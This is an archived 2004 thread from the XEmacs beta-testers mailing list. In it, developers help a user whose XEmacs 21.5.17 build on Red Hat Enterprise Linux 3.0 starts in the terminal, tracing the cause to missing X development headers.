gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H9L5s01071; Sat, 17 Apr 2004 05:21:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H9KpD00819 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 05:20:51 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H9Kok00789 for turnbull@tux.org; Sat, 17 Apr 2004 05:20:50 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H9Kns00773 for ; Sat, 17 Apr 2004 05:20:49 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id 71FE7AE9F; Sat, 17 Apr 2004 11:20:38 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id 599B0AE9C; Sat, 17 Apr 2004 11:20:38 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BEluR-0000IF-00; Sat, 17 Apr 2004 11:14:47 +0200 From: giacomo boffi MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16512.62852.815442.450159@gargle.gargle.HOWL> Date: Sat, 17 Apr 2004 11:14:44 +0200 To: Prakash Dayal Cc: xemacs-beta@xemacs.org Subject: xemacs-21.5.17 with red hat enterprise linux 3.0 In-Reply-To: <40807316.7080009@phys.ethz.ch> References: <40807316.7080009@phys.ethz.ch> X-Mailer: VM 7.17 under 21.5 (beta17) "chayote" (+CVS-20040411) XEmacs Lucid Reply-To: giacomo.boffi@polimi.it X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Prakash Dayal writes: > Hi, > > I compiled and installed xemacs-21.5.17 on red hat enterprise linux 3.0 > successfully with xemacs-sumo.tar.gz packages, but when I am starting > xemacs with command 'xemacs', the xemacs is being started in the same > shell in which the command 'xemacs' is invoked. My question is: how can > I start xemacs in a seperate GUI (graphical user interface) after > executing the command on a shell prompt? my answer^Wguess is: your system has not the X header files installed => your executable does not support X please look at the value of Installation-string [1: open your xemacs, 2: in the *scratch* buffer write "(insert Installation-string)" without quotes 3: press RET and C-j] read what is printed about the "Window System" if it says what amounts to _"NO X window system"_, you should install the packages supporting X development and a bunch of other devel packages (Xaw3d, pnm, jpeg, xpm are the ones that spring to mind, but i think that you could look at the dependencies that your distribution lists for the source package install of xemacs) hth, ciao From xemacs-beta-admin@xemacs.org Sat Apr 17 05:26:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H9Q2s05786; Sat, 17 Apr 2004 05:26:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H9PJ505089 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 05:25:19 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3H9PDc04988 for turnbull@tux.org; Sat, 17 Apr 2004 05:25:13 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3H9PCs04975 for ; Sat, 17 Apr 2004 05:25:13 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id 65BE9AE9F for ; Sat, 17 Apr 2004 11:25:09 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id 48A1BAE9C for ; Sat, 17 Apr 2004 11:25:09 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BElyo-0000It-00 for ; Sat, 17 Apr 2004 11:19:18 +0200 From: giacomo boffi MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16512.63124.976381.849427@gargle.gargle.HOWL> Date: Sat, 17 Apr 2004 11:19:16 +0200 To: xemacs-beta@xemacs.org Subject: xemacs-21.5.17 with red hat enterprise linux 3.0 In-Reply-To: <40807316.7080009@phys.ethz.ch> References: <40807316.7080009@phys.ethz.ch> X-Mailer: VM 7.17 under 21.5 (beta17) "chayote" (+CVS-20040411) XEmacs Lucid Reply-To: giacomo.boffi@polimi.it X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , > I compiled and installed xemacs-[version].5.17 on [linux distro] > successfully, but when I am starting xemacs with command 'xemacs', > the xemacs is being started in the same shell in which the command > 'xemacs' is invoked. My question is: how can I start xemacs in a > seperate GUI (graphical user interface) after executing the command > on a shell prompt? this is a _____ _ ___ | ___/ \ / _ \ | |_ / _ \| | | | | _/ ___ \ |_| | |_|/_/ \_\__\_\ whose answer is install all the development packages that your distro requires for a source package install of xemacs From xemacs-beta-admin@xemacs.org Sat Apr 17 07:58:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HBw3s12639; Sat, 17 Apr 2004 07:58:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HBva312245 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 07:57:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HBvYj12208 for turnbull@tux.org; Sat, 17 Apr 2004 07:57:34 -0400 Received: from wiggis.ethz.ch (wiggis.ethz.ch [129.132.86.197]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HBvXs12196 for ; Sat, 17 Apr 2004 07:57:33 -0400 Received: from wiggis1.ethz.ch (wiggis1.ethz.ch [192.168.42.225]) by wiggis.ethz.ch (Postfix) with ESMTP id 33DDB340F9; Sat, 17 Apr 2004 13:57:33 +0200 (CEST) Received: from phys.ethz.ch (191.98.202.62.cust.bluewin.ch [62.202.98.191]) by wiggis.ethz.ch (Postfix) with ESMTP id 98D23340D7; Sat, 17 Apr 2004 13:57:32 +0200 (CEST) Message-ID: <40811BB2.8020302@phys.ethz.ch> Date: Sat, 17 Apr 2004 13:57:38 +0200 From: Prakash User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Steve Youngs Cc: XEmacs beta Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 References: <40807316.7080009@phys.ethz.ch> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at phys.ethz.ch X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , The result of `echo $DISPLAY RET' is :0.0 Regards, Prakash. Steve Youngs wrote: >* Prakash Dayal writes: > > > Hi, > > I compiled and installed xemacs-21.5.17 on red hat enterprise linux > > 3.0 successfully with xemacs-sumo.tar.gz packages, but when I am > > starting xemacs with command 'xemacs', the xemacs is being started in > > the same shell in which the command 'xemacs' is invoked. My question > > is: how can I start xemacs in a seperate GUI (graphical user > > interface) after executing the command on a shell prompt? > >It sounds to me like your shell isn't seeing the $DISPLAY environment >variable. What do you see if you do `echo $DISPLAY RET' in the shell >you would use to start XEmacs? > > > > > From xemacs-beta-admin@xemacs.org Sat Apr 17 09:17:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HDH5s18313; Sat, 17 Apr 2004 09:17:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HDGmf18057 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 09:16:48 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HDGkM18029 for turnbull@tux.org; Sat, 17 Apr 2004 09:16:46 -0400 Received: from wiggis.ethz.ch (wiggis.ethz.ch [129.132.86.197]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HDGks18016 for ; Sat, 17 Apr 2004 09:16:46 -0400 Received: from wiggis1.ethz.ch (wiggis1.ethz.ch [192.168.42.225]) by wiggis.ethz.ch (Postfix) with ESMTP id 66BC1340EE; Sat, 17 Apr 2004 15:16:42 +0200 (CEST) Received: from phys.ethz.ch (191.98.202.62.cust.bluewin.ch [62.202.98.191]) by wiggis.ethz.ch (Postfix) with ESMTP id ABDD53405F; Sat, 17 Apr 2004 15:16:41 +0200 (CEST) Message-ID: <40812DFA.8060700@phys.ethz.ch> Date: Sat, 17 Apr 2004 15:15:38 +0200 From: Prakash Dayal User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) Gecko/20040301 X-Accept-Language: en-us, en MIME-Version: 1.0 To: giacomo.boffi@polimi.it Cc: xemacs-beta@xemacs.org Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 References: <40807316.7080009@phys.ethz.ch> <16512.63124.976381.849427@gargle.gargle.HOWL> In-Reply-To: <16512.63124.976381.849427@gargle.gargle.HOWL> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at phys.ethz.ch X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , giacomo boffi wrote: > > I compiled and installed xemacs-[version].5.17 on [linux distro] > > successfully, but when I am starting xemacs with command 'xemacs', > > the xemacs is being started in the same shell in which the command > > 'xemacs' is invoked. My question is: how can I start xemacs in a > > seperate GUI (graphical user interface) after executing the command > > on a shell prompt? > > this is a > > _____ _ ___ > | ___/ \ / _ \ > | |_ / _ \| | | | > | _/ ___ \ |_| | > |_|/_/ \_\__\_\ > > whose answer is > > install all the development packages that your distro requires for a > source package install of xemacs > > Hi, Could you please elaborate a little more? Are you talking about which development packages for my distro (Red hat enterprise linux)? If you are referring to xemacs-package, then I have installed packages from xemacs-sumo.tar.gz. Prakash. From xemacs-beta-admin@xemacs.org Sat Apr 17 09:25:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HDP2s25310; Sat, 17 Apr 2004 09:25:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HDOtf25203 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 09:24:55 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HDOsh25179 for turnbull@tux.org; Sat, 17 Apr 2004 09:24:54 -0400 Received: from wiggis.ethz.ch (wiggis.ethz.ch [129.132.86.197]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HDOqs25144 for ; Sat, 17 Apr 2004 09:24:54 -0400 Received: from wiggis1.ethz.ch (wiggis1.ethz.ch [192.168.42.225]) by wiggis.ethz.ch (Postfix) with ESMTP id 8F365340F3 for ; Sat, 17 Apr 2004 15:24:51 +0200 (CEST) Received: from phys.ethz.ch (191.98.202.62.cust.bluewin.ch [62.202.98.191]) by wiggis.ethz.ch (Postfix) with ESMTP id 01ECE340EE for ; Sat, 17 Apr 2004 15:24:51 +0200 (CEST) Message-ID: <40812FE8.2010204@phys.ethz.ch> Date: Sat, 17 Apr 2004 15:23:52 +0200 From: Prakash Dayal User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) Gecko/20040301 X-Accept-Language: en-us, en MIME-Version: 1.0 Cc: xemacs-beta@xemacs.org Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 References: <40807316.7080009@phys.ethz.ch> <16512.62852.815442.450159@gargle.gargle.HOWL> In-Reply-To: <16512.62852.815442.450159@gargle.gargle.HOWL> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at phys.ethz.ch X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , giacomo boffi wrote: >Prakash Dayal writes: > > Hi, > > > > I compiled and installed xemacs-21.5.17 on red hat enterprise linux 3.0 > > successfully with xemacs-sumo.tar.gz packages, but when I am starting > > xemacs with command 'xemacs', the xemacs is being started in the same > > shell in which the command 'xemacs' is invoked. My question is: how can > > I start xemacs in a seperate GUI (graphical user interface) after > > executing the command on a shell prompt? > > my answer^Wguess is: > your system has not the X header files installed > => your executable does not support X > > please look at the value of Installation-string > > [1: open your xemacs, > 2: in the *scratch* buffer write "(insert Installation-string)" > without quotes > 3: press RET and C-j] > > read what is printed about the "Window System" > > if it says what amounts to _"NO X window system"_, you should install > the packages supporting X development and a bunch of other devel > packages (Xaw3d, pnm, jpeg, xpm are the ones that spring to mind, > but i think that you could look at the dependencies that your > distribution lists for the source package install of xemacs) > >hth, ciao > > Hi, How can I access the scratch buffer when the xemacs is being opened in the same shell in which the xemacs is executed? I am unable to see the menubar of xemacs. Regards, Prakash From xemacs-beta-admin@xemacs.org Sat Apr 17 09:31:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HDV6s31628; Sat, 17 Apr 2004 09:31:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HDUQ330660 for xemacs-beta-mailman@xemacs.org; Sat, 17 Apr 2004 09:30:26 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3HDUOf30590 for turnbull@tux.org; Sat, 17 Apr 2004 09:30:24 -0400 Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3HDUMs30535; Sat, 17 Apr 2004 09:30:22 -0400 Received: from sfwd00.aul.t-online.de by mailout03.sul.t-online.com with smtp id 1BEptl-00043Q-00; Sat, 17 Apr 2004 15:30:21 +0200 Received: from D5DC120J.t-online.de (SrAFQmZUQeROdmVL71+FQgas196aNUQPx67XbmGTvuZnV3xTY5PtZZ@[217.89.9.175]) by afwd00.sul.t-online.com with esmtp id 1BEptb-0Vh1UW0; Sat, 17 Apr 2004 15:30:11 +0200 To: Prakash Dayal Cc: xemacs-beta@xemacs.org Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <16512.62852.815442.450159@gargle.gargle.HOWL> <40812FE8.2010204@phys.ethz.ch> Organization: The XEmacs Project From: Adrian Aichner Date: Sat, 17 Apr 2004 15:31:16 +0200 In-Reply-To: <40812FE8.2010204@phys.ethz.ch> (Prakash Dayal's message of "Sat, 17 Apr 2004 15:23:52 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: SrAFQmZUQeROdmVL71+FQgas196aNUQPx67XbmGTvuZnV3xTY5PtZZ X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Prakash Dayal writes: > Hi, > > How can I access the scratch buffer when the xemacs is being opened in > the same shell in which the xemacs is executed? I am unable to see > the menubar of xemacs. To access the *scratch* buffer you could use C-x b (switch-to-buffer) * s c TAB RET Hope this helps, Adrian > > Regards, > Prakash > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 18 00:38:20 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4bAs18932; Sun, 18 Apr 2004 00:37:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4adS17322 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 00:36:39 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4aap17139 for turnbull@tux.org; Sun, 18 Apr 2004 00:36:37 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4aZs17051 for ; Sun, 18 Apr 2004 00:36:35 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id 4E35CADFE; Sun, 18 Apr 2004 01:14:49 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id 1FF2EACC9; Sun, 18 Apr 2004 01:14:49 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BEyw5-0001cY-00; Sun, 18 Apr 2004 01:09:21 +0200 From: giacomo boffi MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16513.47391.962830.408464@gargle.gargle.HOWL> Date: Sun, 18 Apr 2004 01:09:19 +0200 To: Prakash Dayal Cc: xemacs-beta@xemacs.org Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 In-Reply-To: <408143C2.8060604@phys.ethz.ch> References: <40807316.7080009@phys.ethz.ch> <16512.62852.815442.450159@gargle.gargle.HOWL> <408143C2.8060604@phys.ethz.ch> X-Mailer: VM 7.17 under 21.5 (beta17) "chayote" (+CVS-20040411) XEmacs Lucid Reply-To: giacomo.boffi@polimi.it X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Prakash Dayal writes: > > > > my answer^Wguess is: > > your system has not the X header files installed > > => your executable does not support X > > > > please look at the value of Installation-string > > read what is printed about the "Window System" > ****************** > Window System: > > TTY: > ****************** > The above is part of the result, produced due to the "(insert > Installation-string)" and the "Window System" is blank (please see > above). to me, if the window system description is blank, it amounts to "NO X window system", so that: > > if it says what amounts to _"NO X window system"_, you should > > install the packages supporting X development and a bunch of > > other devel packages (Xaw3d, pnm, jpeg, xpm are the ones that > > spring to mind, but i think that you could look at the > > dependencies that your distribution lists for the source package > > install of xemacs) > So, I don't understand what is the problem? the problem is that to build a X program, you need - the X libraries - the X header files and typically distros install only libraries, leaving the header files in packages that are pre- or post-fixed with a string like "dev" or "devel" if you want to build xemacs for yourself, either you install a bunch of devel packages, or you get a crimpled xemacs (no X, no database, no LDAP, no...) a good source for the name of the packages you have to install are the dependencies enumerated in your distribution's xemacs source package, that's not the xemacs sumo... From xemacs-beta-admin@xemacs.org Sun Apr 18 00:51:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4p3s02892; Sun, 18 Apr 2004 00:51:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4o4Y23613 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 00:50:04 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4o1d23349 for turnbull@tux.org; Sun, 18 Apr 2004 00:50:02 -0400 Received: from wiggis.ethz.ch (wiggis.ethz.ch [129.132.86.197]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4o0s23241 for ; Sun, 18 Apr 2004 00:50:00 -0400 Received: from wiggis1.ethz.ch (wiggis1.ethz.ch [192.168.42.225]) by wiggis.ethz.ch (Postfix) with ESMTP id 4E77D340B6; Sat, 17 Apr 2004 23:32:12 +0200 (CEST) Received: from phys.ethz.ch (59.18.76.83.cust.bluewin.ch [83.76.18.59]) by wiggis.ethz.ch (Postfix) with ESMTP id A2CB8340A5; Sat, 17 Apr 2004 23:32:11 +0200 (CEST) Message-ID: <4081A221.5090904@phys.ethz.ch> Date: Sat, 17 Apr 2004 23:31:13 +0200 From: Prakash Dayal User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) Gecko/20040301 X-Accept-Language: en-us, en MIME-Version: 1.0 To: xemacs-beta@xemacs.org Cc: giacomo.boffi@polimi.it Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 References: <40807316.7080009@phys.ethz.ch> <16512.62852.815442.450159@gargle.gargle.HOWL> <408143C2.8060604@phys.ethz.ch> In-Reply-To: <408143C2.8060604@phys.ethz.ch> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at phys.ethz.ch X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , giacomo boffi wrote: >>Prakash Dayal writes: >> > Hi, >> > >> > I compiled and installed xemacs-21.5.17 on red hat enterprise linux 3.0 >> > successfully with xemacs-sumo.tar.gz packages, but when I am starting >> > xemacs with command 'xemacs', the xemacs is being started in the same >> > shell in which the command 'xemacs' is invoked. My question is: how can >> > I start xemacs in a seperate GUI (graphical user interface) after >> > executing the command on a shell prompt? >> >> my answer^Wguess is: >> your system has not the X header files installed >> => your executable does not support X >> >> please look at the value of Installation-string >> >> [1: open your xemacs, >> 2: in the *scratch* buffer write "(insert Installation-string)" >> without quotes >> 3: press RET and C-j] >> >> read what is printed about the "Window System" >> > .................... > libc version: glibc-2.3.2-95.6 > Relocating allocator for buffers: no > GNU version of malloc: yes > - Using Doug Lea's new malloc from the GNU C Library. > > Window System: > > TTY: > Compiling in support for ncurses. > Compiling in support for GPM (General Purpose Mouse). > > Images: > > Sound: > Compiling in support for sound (native). > > Databases: > ......................... > The above is part of the result, produced due to the "(insert > Installation-string)" and the "Window System" is blank (please see > above). So, I don't understand what is the problem? > > Prakash. > >> if it says what amounts to _"NO X window system"_, you should install >> the packages supporting X development and a bunch of other devel >> packages (Xaw3d, pnm, jpeg, xpm are the ones that spring to mind, >> but i think that you could look at the dependencies that your >> distribution lists for the source package install of xemacs) >> >>hth, ciao >> >> > From xemacs-beta-admin@xemacs.org Sun Apr 18 00:52:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4qCs14336; Sun, 18 Apr 2004 00:52:12 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4q0Q12812 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 00:52:00 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4pw712573 for turnbull@tux.org; Sun, 18 Apr 2004 00:51:58 -0400 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4pss12268 for ; Sun, 18 Apr 2004 00:51:55 -0400 Received: from youngs.au.com (cpe-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3HM0FgN004755 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Sun, 18 Apr 2004 00:00:26 +0200 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3HLwGT0004779; Sun, 18 Apr 2004 07:58:16 +1000 Date: Sun, 18 Apr 2004 07:58:16 +1000 Message-Id: <200404172158.i3HLwGT0004779@youngs.au.com> Mail-Copies-To: never To: XEmacs beta Cc: Prakash Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 Keywords: xemacs,shell,prakash,display,command References: <40807316.7080009@phys.ethz.ch> <40811BB2.8020302@phys.ethz.ch> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: Well, here I am in AMERICA.. I LIKE it. I HATE it. X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I LIKE it. I HATE it. I LIKE it. I HATE it. I LIKE it. I HATE it. I LIKE.. EMOTIONS are SWEEPING over me!! X-X-Day: Only 2431498 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Pungenday, the 35th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta , Prakash Date: Sun, 18 Apr 2004 07:58:14 +1000 In-Reply-To: <40811BB2.8020302@phys.ethz.ch> (prakash@phys.ethz.ch's message of "Sat, 17 Apr 2004 13:57:38 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" --=-=-= * prakash writes: > Steve Youngs wrote: >> * Prakash Dayal writes: >> >> > Hi, >> > I compiled and installed xemacs-21.5.17 on red hat enterprise linux >> > 3.0 successfully with xemacs-sumo.tar.gz packages, but when I am >> > starting xemacs with command 'xemacs', the xemacs is being started in >> > the same shell in which the command 'xemacs' is invoked. My question >> > is: how can I start xemacs in a seperate GUI (graphical user >> > interface) after executing the command on a shell prompt? >> >> It sounds to me like your shell isn't seeing the $DISPLAY environment >> variable. What do you see if you do `echo $DISPLAY RET' in the shell >> you would use to start XEmacs? > The result of `echo $DISPLAY RET' is > :0.0 That's what you _should_ see. Good. OK, I agree with what others have told you... your Linux distribution could be missing some "development" packages. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCBqHcACgkQHSfbS6lLMAOwjwCfScqJ5zeDtLbhwpGs8r5j+9AW 